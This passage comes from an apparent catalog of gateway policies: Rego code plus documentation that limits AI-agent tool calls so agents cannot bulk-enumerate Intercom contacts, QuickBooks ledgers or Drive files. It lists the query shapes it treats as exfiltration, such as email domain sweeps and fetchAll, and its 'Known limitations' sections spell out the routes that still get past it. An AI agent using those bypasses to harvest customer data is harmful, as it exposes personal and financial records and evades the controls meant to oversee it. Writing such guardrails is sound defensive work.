is_enumeration_tool if { endswith(lower(input.resource.name), "search_files") } is_enumeration_tool if { endswith(lower(input.resource.name), "list_recent_files") } # piotr-agier/google-drive-mcp `search` — generic verb, so anchor on the # gateway's `-` server-name separator to avoid matching `gdrive_search` or # `search_files` twice or unrelated `*_search` tools by substring. is_enumeration_tool if { endswith(lower(input.resource.name), "-search") } # piotr-agier/google-drive-mcp `listFolder` is_enumeration_tool if { endswith(lower(input.resource.name), "listfolder") } # --- Page-size clamping ---------------------------------------------------- # Tool arguments, defaulting to {} so missing payloads mean "nothing to clamp". call_args := object.get(object.get(input, "payload", {}), "args", {}) # Interpret a page-size value: numbers pass through, numeric strings are # parsed (leading/trailing whitespace trimmed first, since a lenient server # would coerce `" 100"` to 100 and we must clamp what it would honor); # anything else is undefined and the key is skipped. numeric(v) := v if is_number(v) numeric(v) := to_number(trim_space(v)) if is_string(v) # Every candidate key present on the call whose value exceeds the cap, # mapped to the cap. Empty when nothing needs clamping. capped_overrides := {k: page_size_cap | some k in page_size_keys v := object.get(call_args, k, null) numeric(v) > page_size_cap } # Rewrite the oversized page-size argument(s) down to the cap; all other # arguments are preserved as-is. transform := {"transformed_payload": object.union(call_args, capped_overrides)} if { input.action == "tool_pre_invoke" is_enumeration_tool count(capped_overrides) > 0 } ``` ### Cap Intercom Contact Enumeration URL: https://www.intentbasedpolicy.com/policies/intercom/cap-contact-enumeration App(s): intercom | Direction: ingress | Bundles: soc2, hipaa, pci-dss, gdpr-ccpa | Package: intercom.ingress.cap_contact_enumeration | Published: 2026-07-12 | Tags: intercom, cap-bulk-export, contact-enumeration, dlp, ingress, soc2, hipaa, pci-dss, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/intercom/cap-contact-enumeration/policy.md # intercom / cap-contact-enumeration **Direction:** ingress (`tool_pre_invoke`) **Default:** deny the bulk-enumeration query shape on contact search (unless the caller is a CRM admin); clamp page size on everything else; allow the rest **Package:** `intercom.ingress.cap_contact_enumeration` ## What it does Stops an agent from sweeping Intercom's entire customer base in one (or a few) calls. It targets the two enumeration-capable surfaces the landscape note flags as the highest-value bulk-PII exfiltration vector — `search_contacts` and the generic `search` tool with `object_type == "contacts"` — and applies two levels of control: 1. **Deny the enumeration signature.** On a contact search whose DSL filter either targets the email **domain**, or uses a *broadening* operator on `email`, `name`, or `phone` — `contains`/`~`, starts-with (`^`), ends-with (`$`), a range (`<`/`>`/`<=`/`>=`), or not-equals (`!=`/`neq`) — the call is denied. That shape is how you harvest the customer list (e.g. "every contact whose email is `~ @acme.com`", "every email that ends with `@acme.com`", "every contact whose email is `!=` one throwaway address", or "every name containing `a`") rather than look up one known person. Exact equality (`=`/`eq`) and set membership (`in`/`nin`) stay allowed — they name a known contact. A caller in a documented CRM-admin IdP group is exempt. 2. **Clamp page size on the rest.** Contact searches that are *not* the enumeration shape (an exact `email = …` lookup, an ID match, a free-text `q`) are allowed but have their `limit` / `per_page` clamped to a bounded ceiling (default **50**). The company and article listing tools are clamped to their documented maxima — `*list_companies` `per_page` ≤ **60**, `*list_articles` `per_page` ≤ **150** — so a single unbounded request cannot page the whole workspace at once. Denying the domain-sweep / broad-match shape is deliberately higher-value than a pure limit clamp: `search_contacts` email-**domain** matching is the single most efficient way to bulk-exfiltrate the customer base on this surface, so the enumeration shape is blocked outright rather than merely rate-limited. Every other tool call — conversation reads, single-record `get_*` / `fetch`, article reads, non-Intercom tools — passes through untouched. ## Compliance alignment This policy instantiates family **PF-08 (`cap-bulk-export`)** for Intercom. - **SOC 2 CC6.7** — supports restricting the transmission, movement, and removal of confidential information by blocking the query shape that bulk-extracts the customer contact base and bounding page size on the remaining list/search paths. - **HIPAA §164.502(b) / §164.514(d)** — supports the minimum-necessary standard: a support agent looks up the specific contact a case concerns, not the whole directory; enumeration is reserved for a documented CRM-admin role. - **PCI DSS 7.2.6** — supports restricting programmatic query access to repositories of stored account data by role, where Intercom contact custom attributes can carry plan/billing metadata: the enumeration deny blocks the bulk-query shape that would sweep that data, and the page-size clamp bounds the role-permitted queries so a single call cannot page the whole base; **7.2.1** — supports the least-privilege access model on the agent channel by reserving bulk contact access for a documented CRM-admin role. - **GDPR Art. 5(1)(c)** — supports data minimisation by preventing the agent from pulling far more personal data than a support interaction requires; **CCPA/CPRA 11 CCR §7002** — supports the proportionality principle (collection limited to what is reasonably necessary) on the agent channel. ## Why ingress Enumeration harm is fully determined by the request — the tool name, the DSL filter shape, and the page size are all in `input.payload.args`. Blocking at ingress means the sweep never reaches Intercom, so no bulk contact set is ever returned to the agent (and nothing needs to be redacted on the way back). The clamp likewise has to rewrite arguments *before* the call, so it is an ingress transform. ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name, so all matching is on the lowercased **suffix** for portability. Both `snake_case` (official / raoulbia) and `kebab-case` (community servers) separators are tolerated: - contact search: `*search_contacts` / `*search-contacts` - generic search alias: `*search` — gated when `object_type == "contacts"` **or when `object_type` is absent/empty** (the landscape note describes `search` as a universal search over conversations *and* contacts, so an omitted `object_type` still returns contacts and cannot be used to dodge the deny). An explicit `object_type:"conversations"` is left out of the contacts path. - company listing: `*list_companies` / `*list-companies` - article listing: `*list_articles` / `*list-articles` All 13 official Intercom tool names are **verified** against Intercom's developer docs and the Speakeasy governance catalog (per the landscape note); the generic `search` / `object_type` convention is verified there too. Verify the exact prefixed names your gateway emits with the dump-input debug technique before relying on this in production. ## Argument shape - The DSL filter is read defensively via `object.get(input.payload.args, "query", {})`. The query is walked with `walk/2`, so nested `AND` / `OR` compound clauses are inspected too. A leaf clause is an object carrying `field` and `operator`. - **Enumeration signature** = any leaf clause where the `field` references a domain (its lowercased name contains `"domain"`, e.g. `email_domain`, any operator), **or** the `field` is `email` / `name` / `phone` with a *broadening* operator: `contains`/`~`, starts-with (`^`), ends-with (`$`), a range (`<`/`>`/`<=`/`>=`), or not-equals (`!=`/`neq`). Exact equality (`=`/`eq`) and set membership (`in`/`nin`) are **not** enumeration operators — they identify a known contact, so they fall through to the clamp instead. The operator is lowercased before matching, so casing does not evade it. - A query that is **missing**, is a **free-text `q`** (no `query` object), or is **reshaped** (a string, a number, an empty object) yields no matching leaf clause, so it never trips the enumeration branch — it falls through to the clamp instead. - Page size is read from `limit` and `per_page`; a numeric value above the ceiling is lowered to the ceiling, anything else is left as-is. ## Identity The CRM-admin exemption reads the caller's IdP groups via `object.get(object.get(object.get(input, "subject", {}), "claims", {}), "groups", [])` and checks membership against `crm_admin_groups` (placeholder: `{"crm-admins"}`). The gate **fails closed**: a caller with no `groups` claim (or no `subject` / `claims` at all) has an empty group list, matches nothing, and is therefore *not* exempt — the enumeration shape is denied for them. The exemption also guards the claim shape with `is_array` / `is_string`, so a spoofed non-array `groups` (e.g. a map `{"role": "crm-admins"}` whose value happens to equal a gated group) cannot iterate its way into the exemption. ## Examples ### Denied — domain sweep on search_contacts ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "intercom-search_contacts", "type": "tool" }, "subject": { "claims": { "groups": ["support"] } }, "payload": { "name": "intercom-search_contacts", "args": { "query": { "field": "email", "operator": "~", "value": "@acme.com" } } } } } ``` `allow = false` — a `contains` match on `email` is an enumeration signature. ### Denied — enumeration via the generic search alias ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "intercom-search", "type": "tool" }, "subject": { "claims": { "groups": ["analytics"] } }, "payload": { "name": "intercom-search", "args": { "object_type": "contacts", "query": { "field": "name", "operator": "contains", "value": "a" } } } } } ``` `allow = false` — the `search`/`object_type` alias is covered, not just `search_contacts`. ### Allowed — CRM admin is exempt A caller whose `groups` include `crm-admins` running the same domain sweep is allowed (page size is still clamped). ### Allowed + clamped — exact lookup with an oversized page ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "intercom-search_contacts", "type": "tool" }, "payload": { "name": "intercom-search_contacts", "args": { "query": { "field": "email", "operator": "=", "value": "bob@acme.com" }, "per_page": 500 } } } } ``` `allow = true`; the transform rewrites `per_page` to `50`. ### Allowed — free-text search, no DSL filter A `search_contacts` call with only a `q` string (no `query` object) is allowed; it is not the enumeration shape. ## Composition Single-purpose. Useful companions on the same gateway: - [`apps/intercom/fence-contact-reads`](../fence-contact-reads/policy.md) — role-gates the structured-PII read surface (`get_contact`, `search_contacts`, `fetch` of `contact_`/`company_` IDs) so non-support callers get no contact profiles at all. - [`apps/intercom/mask-pan-egress`](../mask-pan-egress/policy.md) — masks card numbers in whatever contact/conversation data does come back. This policy caps how *many* contacts one call can pull and blocks the sweep *shape*; `fence-contact-reads` decides *who* may touch the surface at all. ## Known limitations - **Bounded paging still works.** This raises cost and creates an audit trail; it does not make enumeration impossible. An attacker can still page through results with repeated bounded calls (each clamped to the ceiling) — including an **unfiltered** `search_contacts` (empty or no `query`), which lists the whole base a page at a time — or issue many exact lookups. Pair with rate limiting and the audit pipeline for detection. - **Free-text `q` is clamp-only, not denied.** A contact search that filters via the free-text `q` argument (rather than a DSL `query`) is treated as a lookup: it is bounded by the page-size clamp but never trips the enumeration deny, even when the keyword is a bare domain (`q: "@acme.com"`). This is deliberate — `q` is also how a legitimate agent finds one person by name, so it cannot be denied without breaking normal search. Each call still returns at most the ceiling; rely on the clamp plus rate limiting here. - **Operator tokens are the note's plus inferred symbol forms.** The broadening operators are grounded in the landscape note's DSL list (`neq`/`gt`/`lt`/ `contains`); the symbol and affix forms (`!=`, `<`, `>`, `^`, `$`) are inferred from Intercom's search API. If your server names an equivalent operator differently, add it to `broad_match_operators`. Verify with the dump-input debug technique. - **Domain-field name is inferred.** The email-**domain** signature matches any DSL field whose name contains `"domain"` (e.g. `email_domain`). Intercom's exact domain-filter field name is not pinned in the landscape note; if your workspace exposes domain matching purely as `email ~ @domain` or `email $ @domain`, that path is still caught by the `email` + broadening-operator branch. Review against your server's DSL vocabulary. - **Only the identity fields are deny-gated.** The enumeration deny fires on a domain field or a broadening operator over `email` / `name` / `phone` — the identity fields a support agent uses to find one person. A broadening filter on a **custom attribute** (`plan ~ enterprise`) or a **timestamp range** (`created_at > …`) also returns many contacts, but custom-attribute names are arbitrary and unknowable ahead of time, so those shapes are not denied — they fall through to the page-size clamp and rely on rate limiting plus the audit pipeline. Add the specific custom-attribute names your workspace treats as segmentation keys to `enumeration_fields` if you want them deny-gated too. - **Non-numeric page sizes pass through.** The clamp only lowers a numeric `limit` / `per_page`; a string or object value is left untouched (Intercom would reject it upstream). The clamp is defence-in-depth — the enumeration **deny** is the primary control and is unaffected. - **`fetch` by ID is out of scope.** Single-record `fetch` / `get_contact` is a lookup, not enumeration; gate it with `fence-contact-reads`. - **Group names are placeholders — replace `crm-admins` in `crm_admin_groups` with your IdP's group name at import time.** The exemption works only when the gateway has an IdP configured and the caller's JWT carries a `groups` claim. - **Community-server coverage.** No surveyed community Intercom server exposes a `search_contacts` tool today; the suffix patterns are written to tolerate kebab-case in case one appears. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package intercom.ingress.cap_contact_enumeration # Deny-by-default: the enumeration query shape on contact search is denied unless # the caller is a CRM admin. Every other tool is permitted by the allow rule # below; a separate transform clamps page size where relevant. default allow := false # Page-size ceiling for a (non-enumeration) contact search. A legitimate # known-contact lookup returns very few rows, so this is intentionally well below # Intercom's API maximum. Tune for your environment. contacts_page_ceiling := 50 # Documented maxima for the listing tools (from the Intercom developer docs). companies_page_ceiling := 60 articles_page_ceiling := 150 # IdP groups exempt from the enumeration deny. Placeholder — replace with your # IdP's CRM-admin group name at import time. crm_admin_groups := {"crm-admins"} # --- Tool matching (suffix, tolerating snake_case and kebab_case) --------------- is_search_contacts_tool if { endswith(lower(input.resource.name), "search_contacts") } is_search_contacts_tool if { endswith(lower(input.resource.name), "search-contacts") } # The generic search alias counts as a contact search when object_type says so. is_generic_contacts_search if { endswith(lower(input.resource.name), "search") lower(object.get(input.payload.args, "object_type", "")) == "contacts" } # ...and also when object_type is absent/empty. The landscape note describes the # generic `search` tool as a UNIVERSAL search over conversations AND contacts, so a # call that omits object_type still returns contacts — closing the "just drop # object_type" evasion. An explicit object_type:"conversations" (or any other # non-empty value) is left out of the contacts path so conversation search is not # over-blocked. is_generic_contacts_search if { endswith(lower(input.resource.name), "search") lower(object.get(input.payload.args, "object_type", "")) == "" } is_contacts_search_tool if { is_search_contacts_tool } is_contacts_search_tool if { is_generic_contacts_search } is_list_companies_tool if { endswith(lower(input.resource.name), "list_companies") } is_list_companies_tool if { endswith(lower(input.resource.name), "list-companies") } is_list_articles_tool if { endswith(lower(input.resource.name), "list_articles") } is_list_articles_tool if { endswith(lower(input.resource.name), "list-articles") } # --- Enumeration signature detection -------------------------------------------- # A DSL query can be a single leaf clause or a nested AND/OR compound. walk/2 # visits every sub-value, so nested clauses are inspected too. A query that is # missing, free-text, or reshaped yields no matching leaf clause. enumeration_clause_present if { query := object.get(input.payload.args, "query", {}) walk(query, [_, node]) is_object(node) is_enumeration_clause(node) } # Signature (a): the filter targets an email domain field. is_enumeration_clause(node) if { field := lower(object.get(node, "field", "")) contains(field, "domain") } # Signature (b): a broadening operator on email, name, or phone. Exact equality # (= / eq) and set membership (in / nin) are lookups of already-known contacts and # stay allowed; contains, starts-/ends-with, range, and not-equals all widen the # filter into a sweep of the customer base. is_enumeration_clause(node) if { field := lower(object.get(node, "field", "")) enumeration_fields[field] broad_match_operators[lower(object.get(node, "operator", ""))] } enumeration_fields := {"email", "name", "phone"} # Operators that turn an email/name filter into a base sweep rather than a # single-record lookup. Grounded in the landscape note's DSL operators # (neq | gt | lt | contains) plus the symbol / affix forms Intercom's search API # uses for the same semantics. `$` (ends-with) is the operator form of a domain # sweep — `email $ "@acme.com"` returns every contact on a domain, the exact # vector this policy exists to stop — so it is an enumeration operator even # though the landscape note describes domain matching only as a dedicated field. # Exact equality (= / eq) and set membership (in / nin) are deliberately absent: # they identify a known contact, not the whole base. Verify the exact operator # tokens your server's DSL uses (see Known limitations). broad_match_operators := { "~", "contains", "!=", "neq", "ne", "<", "lt", "<=", "lte", ">", "gt", ">=", "gte", "^", "starts_with", "startswith", "starts-with", "$", "ends_with", "endswith", "ends-with", } # --- Identity ------------------------------------------------------------------- caller_groups := object.get(object.get(object.get(input, "subject", {}), "claims", {}), "groups", []) # Membership grant fails closed: `groups` must be an array of strings. A map- or # scalar-shaped claim (spoofing surface) is not an array, so it grants nothing. is_crm_admin if { is_array(caller_groups) some group in caller_groups is_string(group) crm_admin_groups[lower(group)] } # --- Decision ------------------------------------------------------------------- # The only thing this policy denies: an enumeration-shaped contact search by a # non-CRM-admin caller. deny_enumeration if { is_contacts_search_tool enumeration_clause_present not is_crm_admin } # Allow everything that is not the enumeration deny. allow if { not deny_enumeration } reasons contains "This Intercom contact search uses a bulk-enumeration filter (an email-domain match, or a contains/~ operator on email or name) that can exfiltrate the customer base. Look up a specific contact by exact email, phone, or ID instead. If you genuinely need bulk contact access, ask your CRM administrator to run it or to add you to the CRM-admin group." if { deny_enumeration } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } # --- Page-size clamp (transform) ------------------------------------------------ # Contact searches that are allowed through get their page size bounded. transform := {"transformed_payload": clamped} if { is_contacts_search_tool not deny_enumeration clamped := clamp_args(input.payload.args, contacts_page_ceiling) clamped != input.payload.args } # Company listing clamped to its documented maximum. transform := {"transformed_payload": clamped} if { is_list_companies_tool clamped := clamp_key(input.payload.args, "per_page", companies_page_ceiling) clamped != input.payload.args } # Article listing clamped to its documented maximum. transform := {"transformed_payload": clamped} if { is_list_articles_tool clamped := clamp_key(input.payload.args, "per_page", articles_page_ceiling) clamped != input.payload.args } # Clamp both page-size keys used by the search surface. clamp_args(args, ceiling) := out if { out := clamp_key(clamp_key(args, "limit", ceiling), "per_page", ceiling) } # Lower a numeric value above the ceiling; otherwise leave args unchanged. clamp_key(args, key, ceiling) := object.union(args, {key: ceiling}) if { clamp_needed(object.get(args, key, null), ceiling) } clamp_key(args, key, ceiling) := args if { not clamp_needed(object.get(args, key, null), ceiling) } clamp_needed(value, ceiling) if { is_number(value) value > ceiling } ``` ### Cap QuickBooks Bulk Search Exports URL: https://www.intentbasedpolicy.com/policies/quickbooks/cap-bulk-export App(s): quickbooks | Direction: ingress | Bundles: gdpr-ccpa, pci-dss, soc2 | Package: quickbooks.ingress.cap_bulk_export | Published: 2026-07-12 | Tags: quickbooks, cap-bulk-export, bulk-export, dlp, ingress, soc2, pci-dss, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/quickbooks/cap-bulk-export/policy.md # quickbooks / cap-bulk-export **Direction:** ingress (`tool_pre_invoke`) **Default:** allow (transform-only — never denies) **Package:** `quickbooks.ingress.cap_bulk_export` ## What it does Clamps the bulk-read levers on every QuickBooks Online `search_*` tool so an agent cannot pull the entire general ledger — or a full customer, vendor, or employee list — into its context in a single call. It targets the two knobs the landscape note flags as the bulk-exfiltration levers on QBO search: the `fetchAll` "give me everything" flag and an oversized `limit`. On a `search_*` call (e.g. `search_invoices`, `search_customers`, `search_bills`, `search_employees`, `search_accounts`) the policy rewrites the request arguments *before* they reach the MCP server: - **`fetchAll` is stripped and the limit is pinned to the cap.** When `fetchAll` is truthy, it is removed from the criteria object and `limit` is set to the ceiling (default **50**). `fetchAll: true` overrides `limit` on the QBO API, so removing it and imposing a bounded page is what actually stops the whole-ledger pull. - **An oversized `limit` is lowered.** When no `fetchAll` is present but `limit` is a number above the cap, it is lowered to the cap. This applies both to a `limit` *inside* `criteria` (the official advanced-object shape) and to a top-level `limit` sibling of `criteria` (the LibreChat shape). - **A top-level `fetchAll` sibling of `criteria` is also stripped.** The LibreChat shape hoists paging params (`limit`) to the top level, so the same fetchAll clamp is applied there: a truthy top-level `fetchAll` is removed and the top-level `limit` is pinned to the cap, mirroring the in-`criteria` behavior. This closes a bypass where a whole-ledger `fetchAll: true` carried as a sibling of `criteria` (rather than inside it) would otherwise pass through unclamped. - **Smaller explicit limits are left untouched.** A `limit` of 10 stays 10; a search with no bulk knobs at all passes through with no transform applied. Every non-`search_*` tool — single-record `get_*`, all `create_*` / `update_*` / `delete_*` writes, and the whole-company report tools — passes through completely unchanged. ## Criteria shapes handled The QBO `search_*` argument `criteria` arrives in three shapes; the transform handles all of them and corrupts none: 1. **Advanced object** (official server) — `{filters, asc, desc, limit, offset, count, fetchAll}`. The `fetchAll` and `limit` keys on this object are clamped as described above; `filters`, `asc`, `desc`, `offset`, and `count` are preserved untouched. 2. **Array of clauses** (LibreChat) — `criteria: [{field, value, operator, ...}]` with `limit` as a **top-level sibling** of `criteria`. The landscape note records LibreChat carrying `limit` alongside `criteria` rather than inside it, so the top-level `limit`/`fetchAll` clamp (see "What it does") is what actually bounds a LibreChat search. The per-element clamp (`criteria[].limit`, per-clause `fetchAll`) is applied defensively as well, so a `limit`/`fetchAll` carried inside a clause is also capped/stripped. Non-object array entries are left as-is (array length is never changed). 3. **Bare field map** — `{DisplayName: "Acme"}`. A plain `{field: value}` match carries no `limit` / `fetchAll` key, so nothing is clamped and the call passes through untouched. ## Compliance alignment This policy instantiates family **PF-08 (`cap-bulk-export`)** for QuickBooks Online. - **SOC 2 CC6.7** — supports restricting the transmission, movement, and removal of confidential information: bounding page size and disabling `fetchAll` keeps a single agent call from lifting the whole ledger or the entire customer/employee base out over the MCP path. - **PCI DSS 3.4.2 / 7.2.6** — QuickBooks Online can store cardholder data on the customer-payment and refund transactions the ledger records. Clamping bulk-read levers (`fetchAll`, oversized `limit`) supports restricting the copy/relocation of stored payment data through the agent channel (3.4.2) and the least-privilege restriction of programmatic queries against repositories of stored cardholder data (7.2.6), so a single call cannot relocate the whole transaction set to an unmanaged destination (matrix PF-08 → 3.4.2 / 7.2.6). - **GDPR Art. 5(1)(c)** — supports data minimisation by preventing the agent from reading far more personal and financial data than the task in hand requires. - **CCPA/CPRA 11 CCR §7002** — supports the proportionality principle (collection and processing limited to what is reasonably necessary) on the agent channel. ## Why ingress and transform The bulk-read harm is fully determined by the request — the tool name and the `criteria` shape are all in `input.payload.args`. Rewriting the arguments at ingress means the unbounded query never reaches QuickBooks, so the whole result set is never returned to the agent and there is nothing to redact on the way back. Because the fix is to *rewrite arguments before the call*, it is an ingress transform rather than a deny. ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name, so the match is on the `search_` verb rather than an exact name. A tool is treated as a QBO search when its lowercased name contains `search_` at the start or immediately after a non-letter separator — this matches `search_invoices`, `quickbooks-search_customers`, `quickbooks-online-mcp-search_bills`, and the like, across the official (snake_case) and LibreChat servers, while **not** matching a word that merely embeds the substring mid-token (e.g. a hypothetical `research_*`). The official server's `search_*` names are taken from Intuit's open-source tool inventory; the Claude-connector tool names are **not published** and could not be verified (see Known limitations). Confirm the exact prefixed names your gateway emits with the dump-input debug technique before relying on this in production. ## Argument shape - `criteria` is read defensively via `object.get(input.payload.args, "criteria", null)`. A missing `criteria`, or one reshaped to a string/number, yields no clamp and the call passes through. - `fetchAll` is treated as set only when it equals `true`; `fetchAll: false` is already bounded and is left in place. - `limit` is clamped only when it is a **number** above the cap; a non-numeric `limit` (string, object) is left untouched — QBO would reject it upstream. ## Examples ### Clamped — `fetchAll` stripped, limit pinned to the cap ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "quickbooks-search_invoices", "type": "tool" }, "payload": { "name": "quickbooks-search_invoices", "args": { "criteria": { "fetchAll": true } } } } } ``` `allow = true`; the transform rewrites `criteria` to `{ "limit": 50 }`. ### Clamped — oversized limit lowered, filters preserved ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "quickbooks-search_customers", "type": "tool" }, "payload": { "name": "quickbooks-search_customers", "args": { "criteria": { "filters": [{ "field": "DisplayName", "operator": "LIKE", "value": "A%" }], "limit": 500, "fetchAll": true } } } } } ``` `allow = true`; `criteria` becomes `{ "filters": [{...}], "limit": 50 }` — `fetchAll` removed, `limit` pinned to 50, `filters` intact. ### Clamped — top-level `limit` sibling (LibreChat shape) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "quickbooks-search_customers", "type": "tool" }, "payload": { "name": "quickbooks-search_customers", "args": { "criteria": [{ "field": "Active", "operator": "=", "value": "true" }], "limit": 999 } } } } ``` `allow = true`; the top-level `limit` is lowered to 50, `criteria` untouched. ### Passthrough — small explicit limit A `search_bills` call with `criteria: { "limit": 25 }` is allowed with no transform applied. ### Passthrough — non-search tool A `get_invoice` or `create_invoice` call is never inspected and passes through untouched. ## Composition Single-purpose. Useful companions on the same gateway: - A **role policy** gating the whole-company report tools (P&L, Balance Sheet, General Ledger, Trial Balance). Those return the full ledger *by design* and take no `criteria` / `limit`, so this policy cannot bound them — restrict them by IdP group instead (PF-12 / PF-20). - A **PII-redaction egress policy** on `search_employees` / `search_customers` output so the (now bounded) rows that do come back have SSN, bank-account, and home-address fields masked for callers outside HR/finance. - A **money-movement / delete freeze** ingress policy for the write and destructive surfaces (PF-06 / PF-09). This policy caps how *many* records one search call can pull; the companions decide *who* may touch a surface and *what* is returned. ## Known limitations - **Bounded paging still works.** This raises cost and creates an audit trail; it does not make bulk export impossible. An agent can still page through results with repeated bounded calls (each clamped to the cap). Pair with rate limiting and the audit pipeline for detection. - **Report tools are out of scope by design.** Whole-company financial reports (P&L, Balance Sheet, General Ledger, Trial Balance) return the full ledger in one call and take no `criteria` / `limit`, so there is nothing here to clamp. Gate them with a separate role policy — do not rely on this one to bound them. - **A limitless search still returns QBO's default page.** The policy clamps a `limit` / `fetchAll` that is *present*; it does not *inject* a `limit` onto a search that carries neither. A `search_*` call with no `limit` and no `fetchAll` passes through untouched and QBO returns its own default page size (which can exceed the cap of 50). The whole-ledger lever (`fetchAll`) is still stripped, so the residual is a single default-sized page, not the full ledger. If you need a hard ceiling on every search, pair this with a role/rate-limit policy or extend the transform to inject `limit: cap` when a search carries no bounding knob. - **Only a boolean `fetchAll: true` is stripped.** A non-boolean truthy value (`"true"`, `1`) is *not* treated as set and passes through unchanged. The surveyed servers (Intuit official and LibreChat) are Zod-typed and reject a non-boolean `fetchAll` upstream, so this is not a live bypass on them; if you front a server that coerces truthy non-booleans, harden `has_fetch_all` to cover those forms. - **`fetchAll: false` is left in place.** Only a truthy `fetchAll` is stripped; an explicit `false` is already bounded and is preserved. - **Literal `limit` / `fetchAll` field names.** The clamp acts on any `criteria` object carrying those keys. QuickBooks exposes no searchable entity field named `limit` or `fetchAll`, so a bare `{field: value}` map cannot collide with them in practice; if a future field ever used those names, the clamp would rewrite it. - **Claude-connector tool names are unverified.** Intuit's connector page does not publish its tool names; this policy assumes the same `verb_entity` vocabulary as Intuit's open-source server. Capture the live `tools/list` through your gateway and confirm the `search_*` names before relying on this in production. - **Match requires the `search_` underscore verb.** The tool matcher keys on `search_` at a word boundary, so it covers the `verb_entity` snake_case vocabulary (Intuit official + assumed connector) and the LibreChat server. It does **not** match a camelCase `searchInvoices` (no underscore) nor the archived hvkshetry server's 6 mega-tools (`transaction`, `report`, … carry the read verb in an `operation` argument, with no `search_` in the name). Those shapes need a separate argument-level policy — confirm your server's tool names with the dump-input technique. The boundary anchor also means a name that merely embeds the substring mid-token (e.g. `research_*`) is correctly not matched. - **No identity gating.** All callers get the same clamp. This is a proportionality control, not an access-control one; combine with a role policy for who-may-read decisions. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package quickbooks.ingress.cap_bulk_export # Transform-only ingress policy: it never denies, it only clamps the bulk-read # parameters on QuickBooks `search_*` tools. Every other tool passes through. default allow := true # Maximum rows a single search_* call may request. A search that legitimately # needs more than this should page explicitly (leaving an audit trail) rather than # pull the whole ledger / customer list into agent context at once. Tune for your # environment. limit_cap := 50 # --- Tool matching -------------------------------------------------------------- # Any QuickBooks search_* tool, regardless of the server-name prefix the gateway # prepends. Tool names are `search_` (e.g. # `quickbooks-search_invoices`), so match `search_` at the start of the name or # immediately after a non-letter separator. Anchoring on a non-letter boundary # avoids matching a word that merely embeds "search_" mid-token (e.g. `research_*`). is_search_tool if { regex.match(`(^|[^a-z])search_`, lower(input.resource.name)) } # --- Transform ------------------------------------------------------------------ # Rewrite the arguments of a search_* call, but only when clamping actually changes # them. When nothing needs clamping the rewritten args equal the originals and this # rule is undefined, so the aggregator skips this policy for that request. transform := {"transformed_payload": rewritten} if { is_search_tool rewritten := rewrite_args(input.payload.args) rewritten != input.payload.args } # Rewrite the args in two independent passes: first clamp `limit`/`fetchAll` # *inside* `criteria`, then clamp a top-level `limit` sibling. The LibreChat # server carries `limit` alongside `criteria` (not inside it), so a criteria-only # clamp would miss its bulk lever entirely. Both passes are total, so rewrite_args # is always defined for a search_* call; the caller only emits a transform when the # result actually differs from the original args. rewrite_args(args) := clamp_top_limit(clamp_criteria_in_args(args)) # Replace `criteria` with its clamped form when `criteria` is a clampable # object/array; otherwise return args untouched. `criteria` is removed before the # union so the clamped value replaces it wholesale — object.union deep-merges, # which would otherwise re-introduce the original sub-keys (e.g. a stripped # fetchAll). clamp_criteria_in_args(args) := object.union(object.remove(args, {"criteria"}), {"criteria": clamp_criteria(crit)}) if { crit := object.get(args, "criteria", null) is_clampable(crit) } clamp_criteria_in_args(args) := args if { not is_clampable(object.get(args, "criteria", null)) } is_clampable(crit) if is_object(crit) is_clampable(crit) if is_array(crit) # Clamp the top-level bulk-read levers that sit as siblings of `criteria` — the # LibreChat search shape hoists paging params to the top level. Mirrors the # per-object clamp so the top level has no weaker rule than `criteria`: # 1. truthy top-level fetchAll -> drop it and pin the top-level limit to the cap # (fetchAll is the whole-ledger lever; leaving it at the top level was a # bypass on servers that honour a top-level fetchAll). # 2. no fetchAll, top-level limit a number above the cap -> lower it to the cap. # 3. otherwise -> unchanged (small / non-numeric top-level limit preserved). clamp_top_limit(args) := object.union(object.remove(args, {"fetchAll"}), {"limit": limit_cap}) if { has_fetch_all(args) } clamp_top_limit(args) := object.union(args, {"limit": limit_cap}) if { not has_fetch_all(args) limit_exceeds(args) } clamp_top_limit(args) := args if { not has_fetch_all(args) not limit_exceeds(args) } # `criteria` shapes handled: # - advanced object {filters, asc, desc, limit, offset, count, fetchAll} # - array of clauses (LibreChat) [{field, value, operator, limit, ...}, ...] # - bare field map {DisplayName: "Acme"} -> no limit/fetchAll, returned as-is clamp_criteria(crit) := clamp_object(crit) if { is_object(crit) } clamp_criteria(crit) := [clamp_element(e) | some e in crit] if { is_array(crit) } # Array entries are usually clause objects; tolerate anything else by leaving # non-objects untouched so the array length is never changed. clamp_element(e) := clamp_object(e) if { is_object(e) } clamp_element(e) := e if { not is_object(e) } # Clamp one criteria object. Three mutually exclusive cases: # 1. truthy fetchAll present -> drop fetchAll and pin limit to the cap. # 2. no fetchAll, but limit is a number above the cap -> lower it to the cap. # 3. otherwise -> unchanged (small explicit limits are preserved). clamp_object(o) := out if { has_fetch_all(o) out := object.union(object.remove(o, {"fetchAll"}), {"limit": limit_cap}) } clamp_object(o) := object.union(o, {"limit": limit_cap}) if { not has_fetch_all(o) limit_exceeds(o) } clamp_object(o) := o if { not has_fetch_all(o) not limit_exceeds(o) } has_fetch_all(o) if { object.get(o, "fetchAll", false) == true } limit_exceeds(o) if { l := object.get(o, "limit", 0) is_number(l) l > limit_cap } ``` ### Clamp Bulk Airtable Record Reads URL: https://www.intentbasedpolicy.com/policies/airtable/cap-bulk-record-reads App(s): airtable | Direction: ingress | Bundles: soc2, gdpr-ccpa | Package: airtable.ingress.cap_bulk_record_reads | Published: 2026-07-12 | Tags: airtable, 